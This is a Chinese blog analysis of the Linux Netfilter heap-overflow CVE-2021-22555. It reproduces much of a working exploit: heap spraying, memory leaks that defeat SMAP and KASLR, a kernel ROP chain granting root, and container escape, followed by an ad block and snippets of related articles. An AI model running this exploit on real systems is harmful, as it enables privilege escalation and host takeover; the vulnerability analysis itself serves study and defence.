关于内核堆溢出漏洞的分析

article/2025/9/17 11:17:00

一、漏洞背景

CVE-2021-22555是一个存在了15年之久的内核堆溢出漏洞,它位于内核的Netfilter组件中,这个组件可以被用来实现防火墙、NAT等功能。

该漏洞在2006年由commit 9fa492cdc160cd27ce1046cb36f47d3b2b1efa21引入,并在2021年由commit b29c457a6511435960115c0f548c4360d5f4801d修复。

利用这个漏洞可以导致目标系统拒绝服务,甚至实现提权、容器逃逸并执行任意代码,危害等级极高。

二、漏洞分析

漏洞位于net/netfilter/x_tables.c的xt_compat_target_from_user函数:

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/netfilter/x_tables.c
void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,unsigned int *size)
{const struct xt_target *target = t->u.kernel.target;struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t;int pad, off = xt_compat_target_offset(target);u_int16_t tsize = ct->u.user.target_size;char name[sizeof(t->u.user.name)];t = *dstptr;memcpy(t, ct, sizeof(*ct));if (target->compat_from_user)target->compat_from_user(t->data, ct->data);elsememcpy(t->data, ct->data, tsize - sizeof(*ct));pad = XT_ALIGN(target->targetsize) - target->targetsize;if (pad > 0)memset(t->data + target->targetsize, 0, pad);tsize += off;t->u.user.target_size = tsize;strlcpy(name, target->name, sizeof(name));module_put(target->me);strncpy(t->u.user.name, name, sizeof(t->u.user.name));*size += off;*dstptr += tsize;
}

缓冲区溢出发生在memset(t->data + target->targetsize, 0, pad)这个语句,其本意是讲已经对齐的缓冲区多余的pad个字节清零。由于在分配内存的时候没有考虑到对齐,t->data之后只有target->targetsize个字节的有效存储空间,导致这里会发生pad个字节的溢出。通过选择不同的target,可以控制targetsize,进而控制溢出字节数pad。

要让内核执行到有漏洞的xt_compat_target_from_user函数,需要在用户空间调用setsockopt,并提供IPT_SO_SET_REPLACE或IP6T_SO_SET_REPLACE作为第3个参数。这个操作需要用户进程拥有CAP_NET_ADMIN能力,而这个能力可以通过切换到新的用户+网络名称空间来获得。

【一>所有资源获取<一】
1、200份很多已经买不到的绝版电子书
2、30G安全大厂内部的视频资料
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线

三、EXP分析

EXP整体思路是利用堆溢出改写特殊链表的指针,进而实现UAF,最后改写特定内核结构体的函数指针来实现代码执行。

3.1 实现UAF

3.1.1 申请消息队列

通过msgget申请NUM_MSQIDS个消息队列,在EXP中NUM_MSQIDS等于4096。消息队列数目没有特殊要求,数目越多则EXP越稳定,原因后面会解释。这步是为后面的堆喷做准备。

for (int i = 0; i < NUM_MSQIDS; i++) {if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {perror("[-] msgget");goto err_no_rmid;}
}

3.1.2 发送主要消息

通过msgsnd给每个消息队列都发送一个4096字节的消息,暂且称这些消息为主要消息,每个消息的内容是其所在消息队列的序号,分别为0-4095。注意这里所谓的4096字节并非指消息内容的长度,而是指消息传递到内核空间之后,内核为容纳该消息而开辟的堆缓冲区的大小,该缓冲区容纳了一个结构体msg_msg的实例和消息的实际内容,后面所提及的“消息长度”都是指内核缓冲区的长度。

printf("[*] Spraying primary messages...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {memset(&msg_primary, 0, sizeof(msg_primary));*(int *)&msg_primary.mtext[0] = MSG_TAG;*(int *)&msg_primary.mtext[4] = i;if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <0)goto err_rmid;
}int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {*(long *)msgp = msgtyp;if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {perror("[-] msgsnd");return -1;}return 0;
}

这里所使用的msgsnd函数是最常用的堆喷手段之一,因为传递的消息内容会一成不变地复制到内核缓冲区中, 这样就可以达到控制内核缓冲区内容的目的。当消息传递到内核空间时,内核是通过alloc_msg函数来申请堆缓冲区的:

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.c
static struct msg_msg *alloc_msg(size_t len)
{struct msg_msg *msg;struct msg_msgseg **pseg;size_t alen;// 取实际消息长度len和DATALEN_MSG中的最小值为第一个消息分片的长度alen = min(len, DATALEN_MSG);// 为首个消息分片开辟缓冲区,长度为结构体msg_msg加上alenmsg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);if (msg == NULL)return NULL;msg->next = NULL;msg->security = NULL;len -= alen;pseg = &msg->next;// 若首个消息分片不足以容纳完整的消息,将陆续开辟后续的消息分片while (len > 0) {struct msg_msgseg *seg;cond_resched();alen = min(len, DATALEN_SEG);// 为后续消息分片开辟缓冲区,长度为结构体msg_msgseg加上alenseg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);if (seg == NULL)goto out_err;*pseg = seg;seg->next = NULL;pseg = &seg->next;len -= alen;}return msg;out_err:free_msg(msg);return NULL;
}

其中,结构体msg_msg的定义如下:

struct msg_msg {struct list_head m_list;long m_type;size_t m_ts;        /* message text size */struct msg_msgseg *next;void *security;/* the actual message follows immediately */
};struct list_head {struct list_head *next, *prev;
};

内核为消息开辟好缓冲区后,会将其插入到每个消息队列中,形成一个双向链表,每个消息的m_list.next指针指向下一个消息,m_list.prev指向前一个消息。

需要注意的是,当消息实际内容的长度大于阈值DATALEN_MSG时,内核会对消息进行分片,这在利用过程中是必须要避免的,所幸的是这里选择的长度并不会导致消息分片。

发送完后,极大概率存在部分主要消息在地址上是连续的:

image.png

3.1.3 发送次要消息

再给每个消息队列发送1024个字节的次要消息,每个消息的内容同样是其所在消息队列的序号。

printf("[*] Spraying secondary messages...\n");{{
for (int i = 0; i < NUM_MSQIDS; i++) {memset(&msg_secondary, 0, sizeof(msg_secondary));*(int *)&msg_secondary.mtext[0] = MSG_TAG;*(int *)&msg_secondary.mtext[4] = i;if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary),MTYPE_SECONDARY) < 0)goto err_rmid;
}

发送完后,每个主要消息后面都会跟着一个次要消息,且它们的内容是相同的:

image.png

3.1.4 释放部分主要消息

从第1024号队列开始,每隔1024个队列释放一个主要消息,这一步释放的缓冲区将在后面触发漏洞时重新申请使用,将间隔设置为1024也是因为这样选出的主要消息所在的内存位置之后紧邻另一个主要消息的可能性更大。

printf("[*] Creating holes in primary messages...\n");
for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <0)goto err_rmid;
}

3.1.5 触发缓冲区溢出漏洞

重新申请上一步释放的缓冲区,同时触发缓冲区溢出漏洞,将缓冲区外2个字节覆盖为0。前面提到,上一步释放的缓冲区后面极大概率紧跟着一个主要消息,这是因为前面发送了大量主要消息,将内核内存分配器能分配的内存空洞都填满了之后,所获得的缓冲区极大概率是相邻的。所以,申请的消息队列数目越多,发送越多的主要消息,内存空洞被填满的概率越大,EXP也就越稳定。在这种理想情况下,这一步会将缓冲区后面的主要消息的next指针的最低位2个字节覆盖为0,导致其指向另外一个次要消息。这样,就会有2个主要消息的next指针指向同一个次要消息。

image.png

printf("[*] Triggering out-of-bounds write...\n");
if (trigger_oob_write(s) < 0)goto err_rmid;int trigger_oob_write(int s) {struct __attribute__((__packed__)) {struct ipt_replace replace;struct ipt_entry entry;struct xt_entry_match match;char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2];struct xt_entry_target target;} data = {0};data.replace.num_counters = 1;data.replace.num_entries = 1;data.replace.size = (sizeof(data.entry) + sizeof(data.match) +sizeof(data.pad) + sizeof(data.target));data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) +sizeof(data.pad) + sizeof(data.target));data.entry.target_offset =(sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad));data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad));strcpy(data.match.u.user.name, "icmp");data.match.u.user.revision = 0;data.target.u.user.target_size = sizeof(data.target);strcpy(data.target.u.user.name, "NFQUEUE");data.target.u.user.revision = 1;// Partially overwrite the adjacent buffer with 2 bytes of zero.if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) {if (errno == ENOPROTOOPT) {printf("[-] Error ip_tables module is not loaded.\n");return -1;}}return 0;
}

3.1.6 实现UAF

利用带MSG_COPY参数的msgrcv函数搜索同一消息队列但内容不同的主要消息和次要消息,这样就可以在不释放消息缓冲区的前提下查看消息内容。前面提到,同一消息队列的主要消息和次要消息的内容在正常情况下应该是相同的,如果不同,说明该主要消息的next指针在上一步被改写了,导致2个消息队列包含同一个次要消息。再释放其中一个队列的次要消息,由于另一个队列还在使用该次要消息,就实现了UAF。

image.png

printf("[*] Searching for corrupted primary message...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {if (i != 0 && (i % HOLE_STEP) == 0)continue;if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0)goto err_no_rmid;if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) {printf("[-] Error could not corrupt any primary message.\n");goto err_no_rmid;}if (*(int *)&msg_secondary.mtext[4] != i) {fake_idx = i;real_idx = *(int *)&msg_secondary.mtext[4];break;}
}if (fake_idx == -1 && real_idx == -1) {printf("[-] Error could not corrupt any primary message.\n");goto err_no_rmid;
}// fake_idx's primary message has a corrupted next pointer; wrongly
// pointing to real_idx's secondary message.
printf("[+] fake_idx: %x\n", fake_idx);
printf("[+] real_idx: %x\n", real_idx);printf("[*] Freeing real secondary message...\n");
if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary),MTYPE_SECONDARY) < 0)goto err_rmid;

3.2 绕过SMAP

如果内核开启了SMAP,用户空间的数据将不能被内核访问,就需要通过信息泄露获取内核空间的地址来利用内核空间的数据。

3.2.1 构造伪次要消息

上一步释放了一个次要消息所占据的缓冲区,为了方便说明,后面称之为关键缓冲区。关键缓冲区虽然被释放了,但还是有一个消息队列在使用关键缓冲区。

通过write函数向UNIX socket写入数据的方式构造许多个伪次要消息,之所以要构造多个,是为了切实地将虚假数据写入已经被释放的关键缓冲区中。这也是实现堆喷的重要手段,由于没有多余的数据结构占据通过该手段写入的缓冲区,因而可以完全控制内核缓冲区的内容。

这里构造的伪次要消息的m_ts字段(表示消息内容长度的字段)为不需要分片的最大消息内容长度,要远远大于1024字节的真实次要消息内容长度,相当于将相邻的次要消息也纳入伪次要消息的范围。

image.png

// Reclaim the previously freed secondary message with a fake msg_msg of
// maximum possible size.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,PAGE_SIZE - MSG_MSG_SIZE, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)goto err_rmid;void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {msg->m_list_next = m_list_next;msg->m_list_prev = m_list_prev;msg->m_type = MTYPE_FAKE;msg->m_ts = m_ts;msg->next = next;msg->security = 0;
}int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {for (int i = 0; i < NUM_SOCKETS; i++) {for (int j = 0; j < NUM_SKBUFFS; j++) {if (write(ss[i][0], buf, size) < 0) {perror("[-] write");return -1;}}}return 0;
}

3.2.2 越界读取相邻次要消息

由于构造的伪次要消息的m_ts字段要远大于真实次要消息内容长度,通过读取该消息可以越界读取相邻次要消息的头部内容,包括next指针,这样就获得了该next指针所指向的主要消息的地址(消息队列是双向链表)。

// Use the fake secondary message to read out-of-bounds.
printf("[*] Leaking adjacent secondary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)goto err_rmid;// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) {printf("[-] Error could not leak adjacent secondary message.\n");goto err_rmid;
}// The secondary message contains a pointer to the primary message.
msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (PRIMARY_SIZE - 1))kheap_addr = msg->m_list_prev;
printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

3.2.3 再次构造伪次要消息

获得了相邻次要消息所指向的主要消息的地址后,通过read函数读取socket内容的方式释放伪次要消息,让关键缓冲区再次进入被释放状态。然后,以相同的方式重新构造伪次要消息,这次构造的m_ts字段要大于消息分片的阈值,next字段等于相邻次要消息所指向的主要消息的地址-结构msg_msgseg的长度,这样做相当于将该主要消息伪造成下一个消息片段,那么在读取伪次要消息时,就可以读取该主要消息的next指针,该指针指向相邻次要消息,将指针内容减去1024即可获得伪次要消息即关键缓冲区的地址。

// Put kheap_addr at next to leak its content. Assumes zero bytes before
// kheap_addr.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)goto err_rmid;// Use the fake secondary message to read from kheap_addr.
printf("[*] Leaking primary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)goto err_rmid;// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {printf("[-] Error could not leak primary message.\n");goto err_rmid;
}// The primary message contains a pointer to the secondary message.
msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (SECONDARY_SIZE - 1))kheap_addr = msg->m_list_prev;// Calculate the address of the fake secondary message.
kheap_addr -= SECONDARY_SIZE;
printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

3.3 绕过KASLR/SMEP

接下来将通过泄露内核.data段的地址来绕过KASLR,并通过利用内核gadget构造ROP链来绕过SMEP。

3.3.1 释放伪次要消息

前面构造的伪次要消息的内容是通过socket写入的,那么内核肯定有一个跟socket相关的结构体是指向伪次要消息缓冲区的,事实上该结构体为sk_buff。

image.png

由于结构体msg_msg占据了消息缓冲区前面部分,msgrcv不能完全读取缓冲区的内容,而通过socket则相反。因此,需要通过msgrcv将关键缓冲区释放,后面通过socket读取关键缓冲区的内容。

由于之前构造的伪次要消息的next和prev指针不是有效的地址,现阶段不能直接通过msgrcv释放该伪次要消息,因为内核会检查消息队列链表的完整性。

为了能通过msgrcv释放伪次要消息,需要依次执行以下步骤:

  1. 通过读取socket释放关键缓冲区。
  2. 通过写入socket再次申请关键缓冲区,写入内容为重新构造的伪次要消息,其next和prev指针为自身地址,这样就能绕过链表完整性检查。
  3. 通过msgrcv释放伪次要消息。
printf("[*] Freeing fake secondary messages...\n");
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));// Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)goto err_rmid;printf("[*] Freeing sk_buff data buffer...\n");
if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0)goto err_rmid;

3.3.2 泄露内核地址

上一步执行完后,还有sk_buff指向关键缓冲区,那么,如果在关键缓冲区填入包含指向内核.data段指针的数据结构,再通过读取socket来获得缓冲区的完整内容,就可以获得内核.data段的地址,进而计算出.text段的地址,让利用内核gadget成为可能。

image.png

结构体pipe_buffer是个很好的目标,其定义如下:

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/pipe_fs_i.h
struct pipe_buffer {struct page *page;unsigned int offset, len;const struct pipe_buf_operations *ops;unsigned int flags;unsigned long private;
};struct pipe_buf_operations {.../** When the contents of this pipe buffer has been completely* consumed by a reader, ->release() is called.*/void (*release)(struct pipe_inode_info *, struct pipe_buffer *);...
};

pipe_buffer的成员ops指向一个位于内核.data段的数据结构anon_pipe_buf_ops,它将是接下来的泄露目标。

而且,ops指向的数据结构包含很多跟管道操作相关的函数指针,其中一个是release,它所指向的函数将在释放管道时被调用。那么,通过篡改ops指向伪造的pipe_buf_operations结构,在释放管道时就可以劫持控制流。

为泄露内核.data段的地址,将进行以下步骤:

  1. 通过向多个管道写入数据让内核构造多个pipe_buffer结构体的实例,其中一个实例将占据关键缓冲区。此时内存布局如下:

image.png

  1. 读取socket,获得anon_pipe_buf_ops的地址,也就是获得了内核.data段地址。
printf("[*] Spraying pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {if (pipe(pipefd[i]) < 0) {perror("[-] pipe");goto err_rmid;}// Write something to populate pipe_buffer.if (write(pipefd[i][1], "pwn", 3) < 0) {perror("[-] write");goto err_rmid;}
}printf("[*] Leaking and freeing pipe_buffer object...\n");
for (int i = 0; i < NUM_SOCKETS; i++) {for (int j = 0; j < NUM_SKBUFFS; j++) {if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {perror("[-] read");goto err_rmid;}if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10];}
}kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS;
printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops);
printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr);

此时关键缓冲区已被释放,内存布局如下:

image.png

3.4 提权和容器逃逸

先通过写入socket构造伪pipe_buffer,让ops指针指向在关键缓冲区伪造的pipe_buf_operations,其中的release指针指向跟栈迁移相关的内核.text段的gadget。

image.png

同时,在关键缓冲区构造ROP链依序执行以下任务:

  1. 保存RBP。
  2. 执行commit_creds(prepare_kernel_cred(NULL)),这一步是为了获得root权限。
  3. 执行switch_task_namespaces(find_task_by_vpid(1), init_nsproxy),这一步在容器环境中才有用,否则只是冗余步骤,作用是pid为1的进程的名称空间替换为容器初始化时的全局名称空间init_nsproxy,init_nsproxy名称空间可以访问宿主机的文件系统。
  4. 恢复RBP并恢复正常执行流程。
printf("[*] Spraying fake pipe_buffer objects...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
buf = (struct pipe_buffer *)&secondary_buf;
buf->ops = kheap_addr + 0x290;
ops = (struct pipe_buf_operations *)&secondary_buf[0x290];
// RSI points to &buf.
ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;
build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)goto err_rmid;void build_krop(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) {uint64_t *rop;*(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET;*(uint64_t *)&buf[0x00] = kbase_addr + ADD_RSP_D0_RET;rop = (uint64_t *)&buf[0xD8];// Save RBP at scratchpad_addr.*rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET;*rop++ = scratchpad_addr; // R12*rop++ = 0xDEADBEEF;      // RBP*rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET;*rop++ = 0xDEADBEEF; // RBX*rop++ = 0xDEADBEEF; // R12*rop++ = 0xDEADBEEF; // RBP// commit_creds(prepare_kernel_cred(NULL))*rop++ = kbase_addr + POP_RDI_RET;*rop++ = 0; // RDI*rop++ = kbase_addr + PREPARE_KERNEL_CRED;*rop++ = kbase_addr + POP_RCX_RET;*rop++ = 4; // RCX*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;*rop++ = 0xDEADBEEF; // RBP*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;*rop++ = kbase_addr + COMMIT_CREDS;// switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)*rop++ = kbase_addr + POP_RDI_RET;*rop++ = 1; // RDI*rop++ = kbase_addr + FIND_TASK_BY_VPID;*rop++ = kbase_addr + POP_RCX_RET;*rop++ = 4; // RCX*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;*rop++ = 0xDEADBEEF; // RBP*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;*rop++ = kbase_addr + POP_RSI_RET;*rop++ = kbase_addr + INIT_NSPROXY; // RSI*rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;// Load RBP from scratchpad_addr and resume execution.*rop++ = kbase_addr + POP_RBP_RET;*rop++ = scratchpad_addr - 0xA; // RBP*rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET;*rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;
}

释放管道,执行release所指向的gadget,将内核栈迁移到关键缓冲区构造的ROP链处,然后执行完整个ROP链,实现提权。

printf("[*] Releasing pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {if (close(pipefd[i][0]) < 0) {perror("[-] close");goto err_rmid;}if (close(pipefd[i][1]) < 0) {perror("[-] close");goto err_rmid;}
}

最后,将当前进程的名称空间替换成1号进程的,而1号进程的名称空间已经替换成容器初始化时的全局名称空间init_nsproxy,由此实现容器逃逸。

setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
setns(open("/proc/1/ns/pid", O_RDONLY), 0);
setns(open("/proc/1/ns/net", O_RDONLY), 0);

http://chatgpt.dhexx.cn/article/Mj07Lm2j.shtml

相关文章

Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞

漏洞名称&#xff1a;Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞CNNVD编号&#xff1a;CNNVD-201311-423发布时间&#xff1a;2013-11-29更新时间&#xff1a;2013-11-29危害等级&#xff1a;中危 漏洞类型&#xff1a;缓冲区溢出威胁类型&#xff1a;本地CVE编号…

hackthebox-buff(gym渗透 端口转发 cloudme 缓冲区溢出 )

1、扫描 masscan快速全局扫&#xff0c;nmap具体扫。7680不知道&#xff0c;8080是web进去搜集信息。 C:\root> masscan -p1-65535,U:1-65535 10.10.10.198 --rate1000 -e tun0Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2021-01-17 09:36:41 GMT-- forced optio…

20181018栈溢出

所有内容参考书籍《0day安全&#xff1a;软件漏洞分析技术&#xff08;第二版&#xff09;》 缓冲区溢出 简单来说&#xff0c;缓冲区艺术就是在大缓冲区中的数据向小缓冲区复制的过程中&#xff0c;由于没注意小缓冲区的边界&#xff0c;“撑爆”了较小的缓冲区&#xff0c;…

再谈关于缓冲器溢出

废话少说(说一句废话,这是入门级的) C/C的代码: // buffer overflow code by ctorenshenguo.com #include <windows.h>#include <stdio.h>void fnHack() //the host never expect to run this{ printf("Your computer has been hacked!\n"); //ex…

Go内存溢出与内存泄露

https://www.cnblogs.com/sunsky303/p/11077030.html 一、内存泄露与内存溢出的区别 内存溢出(out of memory&#xff0c;简称OOM) 内存溢出是指程序在申请内存时&#xff0c;没有足够的内存空间供其使用&#xff0c;简单点说就是你要求分配的内存超出了系统能给你的&#…

(原创)攻击方式学习之(3) - 缓冲区溢出(Buffer Overflow)

堆栈溢出 堆栈溢出通常是所有的缓冲区溢出中最容易进行利用的。了解堆栈溢出之前&#xff0c;先了解以下几个概念&#xff1a; 缓冲区 简单说来是一块连续的计算机内存区域&#xff0c;可以保存相同数据类型的多个实例。堆栈 堆 栈是一个在计算机科学中经常使用的抽象数据类型。…

攻击方式学习之(3) - 缓冲区溢出(Buffer Overflow) [zt]

堆栈溢出 堆栈溢出通常是所有的缓冲区溢出中最容易进行利用的。了解堆栈溢出之前&#xff0c;先了解以下几个概念&#xff1a; 缓冲区 简单说来是一块连续的计算机内存区域&#xff0c;可以保存相同数据类型的多个实例。 堆栈 堆 栈是一个在计算机科学中经常使用的抽象数据类型…

linux 远程溢出,Linux Kernel蓝牙CAPI报文远程溢出漏洞

Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel对入站CAPI消息没有执行正确的处理&#xff0c;远程攻击者可能利用此漏洞在服务器上执行任意指令。 Linux Kernel代码的net/bluetooth/cmtp/capi.c文件中没有正确地处理入站的CAPI消息。如果用户发送了特制的CA…

linux远程溢出,linux-ftpd-ssl 远程溢出漏洞

linux-ftpd-ssl 远程溢出漏洞 2005-11-15 eNet&Ciweek 详细描述&#xff1a; linux-ftpd-ssl是一款支持加密的FTP server。 linux-ftpd-ssl软件包中存在远程溢出漏洞&#xff0c;恶意服务器可能利用此漏洞在主机上执行任意指令。 恶意服务器生成的超长响应命令可能会覆盖栈…

html溢出攻击,溢出(漏洞)攻击的实现及防御

前言 媒体上关于系统漏洞的话题一直不断&#xff0c;在我所接触的用一些朋友和用户中虽然也知道打系统补丁很重要&#xff0c;但却又一直不以为然总以为网络上的危险离自己很远&#xff0c;大部份人都认为进行一次远程攻击很困难甚至认为只要安装了防病毒软件就一切大吉&#x…

缓冲区溢出(Buffer Overflow)

堆栈溢出 堆栈溢出通常是所有的缓冲区溢出中最容易进行利用的。了解堆栈溢出之前&#xff0c;先了解以下几个概念&#xff1a; 缓冲区 简单说来是一块连续的计算机内存区域&#xff0c;可以保存相同数据类型的多个实例。堆栈 堆 栈是一个在计算机科学中经常使用的抽象数据类型…

永恒之蓝漏洞复现(Windows server 2008系列缓冲区溢出漏洞)

漏洞信息 漏洞名称&#xff1a;Windows server 2008系列缓冲区溢出漏洞 CVEID&#xff1a;2017-0144 漏洞类型&#xff1a;输入验证错误 威胁类型&#xff1a;远程 发布时间&#xff1a;2017-03-14 危害等级&#xff1a;高危 漏洞简介 Microsoft服务器消息块1.0&#xff08;…

攻击方式学习之(3) - 缓冲区溢出(Buffer Overflow)

堆栈溢出 堆栈溢出通常是所有的缓冲区溢出中最容易进行利用的。了解堆栈溢出之前&#xff0c;先了解以下几个概念&#xff1a; 缓冲区 简单说来是一块连续的计算机内存区域&#xff0c;可以保存相同数据类型的多个实例。堆栈 堆 栈是一个在计算机科学中经常使用的抽象数据类型…

缓冲区溢出实例(一)--Windows

一、基本概念 缓冲区溢出:当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被填满从而覆盖了相邻内存区域的数据。可以修改内存数据,造成进程劫持,执行恶意代码,获取服务器控制权限等。 在Windows XP或2k3 server中的SLMail 5.5.0 Mail Server…

linux服务器接收缓冲区拥堵,Linux Kernel IP虚拟服务器栈缓冲区溢出漏洞

发布日期&#xff1a;2013-11-15 更新日期&#xff1a;2013-11-18 受影响系统&#xff1a; Linux kernel < 3.2.13 描述&#xff1a; -------------------------------------------------------------------------------- BUGTRAQ ID: 63744 CVE(CAN) ID: CVE-2013-4588 Li…

20155216 缓冲区溢出漏洞实验

20155216 缓冲区溢出漏洞实验 缓冲区溢出漏洞实验实验简介 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制&#xff0c;甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭&#x…

天骄辅助外挂制作,寻求合作

大家好&#xff0c; 进入正题现有我想开发一款游戏外挂&#xff0c;是针对新天娇的 不知您有没有开发外挂的经验呢&#xff1f;由于本人没有外挂开发的经验也暂时找不到相关的资料学习。 现在打算将这个项目外包出去&#xff0c; 要求&#xff1a; 一台机可以同时登录几个帐号 …

解剖一些外挂制作原理(DNF)

外挂现在大体上来讲分为三种&#xff0c;分别是模拟按键&#xff0c;WPE封包和内存挂。比如模拟键盘的&#xff0c;鼠标的&#xff0c;这种就叫做按键模拟&#xff0c;也叫脚本精灵&#xff1b;还有修改数据包的&#xff0c;这种就叫做WPE封包外挂&#xff0c;这种外挂相对而言…

外挂制作之思路总结和基址与偏移量

从今天起开始学习如何做外挂了 &#xff0c; 很久之前了解过一点皮毛。 无非是读写游戏进程中的内存数据。 再读写内存数据之前首先要做的就是找到游戏进程中在内存中的地址。在基地址中&#xff0c;利用CE寻找到某一数据对应的内存地址。计算出偏移量。然后每次都可以通过内存…

高中数学:数列求和的8种常用方法(最全)

高中数学&#xff1a;数列求和的8种常用方法&#xff08;电子版&#xff09;